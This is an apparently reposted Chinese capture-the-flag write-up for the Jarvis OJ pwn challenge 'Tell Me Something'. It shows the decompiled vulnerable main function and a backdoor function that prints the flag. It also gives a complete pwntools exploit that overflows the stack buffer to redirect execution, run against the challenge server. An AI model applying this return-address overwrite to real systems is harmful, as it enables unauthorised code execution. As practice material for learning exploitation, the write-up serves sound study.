Tell Me Something

2021-01-15 12:03:52 阅读：170 来源： 互联网

标签：Me int char result io message buf Tell Something

file及checksec如下：

查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h] BYREF

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

存在栈溢出漏洞

发现存在后门函数：

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf[0] = result;
    if ( (_BYTE)result == 0xFF )
      break;
    write(1, buf, 1uLL);
  }
  return result;
}

我们的目的就是运行good_game函数

exp如下：

from pwn import *

elf = ELF('./guestbook')

#io = process('./guestbook')
io = connect('pwn.jarvisoj.com', 9876)

flag_addr = elf.symbols['good_game']

payload = b'a'*0x88 + p64(flag_addr)

io.sendlineafter('message:\n', payload)

io.interactive()

标签：Me,int,char,result,io,message,buf,Tell,Something
来源： https://www.cnblogs.com/hktk1643/p/14281375.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

Tell Me Something